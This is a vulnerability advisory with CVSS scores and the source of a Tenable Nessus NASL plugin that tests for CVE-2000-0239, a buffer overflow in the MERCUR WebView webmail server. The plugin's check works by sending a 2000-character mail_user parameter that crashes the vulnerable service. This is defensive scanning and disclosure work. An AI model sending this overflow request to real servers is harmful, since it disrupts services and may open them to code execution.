5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.031 Low
EPSS
Percentile
91.2%
The remote WebView service does not do proper bounds checking when processing the following request :
GET /mmain.html&mail_user=aaa[…]aaa
A remote attacker could exploit this to crash the service, or potentially execute arbitrary code.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(10346);
script_version("1.30");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2000-0239");
script_bugtraq_id(1056);
script_name(english:"MERCUR WebView WebMail Server mail_user Parameter DoS");
script_summary(english:"Checks for a buffer overflow");
script_set_attribute(attribute:"synopsis", value:
"A web application on the remote host has a buffer overflow
vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote WebView service does not do proper bounds checking when
processing the following request :
GET /mmain.html&mail_user=aaa[...]aaa
A remote attacker could exploit this to crash the service, or
potentially execute arbitrary code.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Mar/200");
script_set_attribute(attribute:"solution", value:"Upgrade to the latest version of this software.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2000/03/16");
script_set_attribute(attribute:"plugin_publication_date", value:"2000/03/15");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2000-2021 Tenable Network Security, Inc.");
script_dependencie("http_version.nasl");
script_require_keys("Settings/ParanoidReport");
script_require_ports(1080);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
port = 1080;
if (! get_port_state(port)) exit(0, "Port "+port+" is closed");
if (http_is_dead(port: port)) exit(0, "Web server on port "+port+" is dead");
req2 = string("/mmain.html&mail_user=", crap(2000));
w = http_send_recv3(port: port, item:req2, method:"GET");
if (isnull(w)) security_hole(port);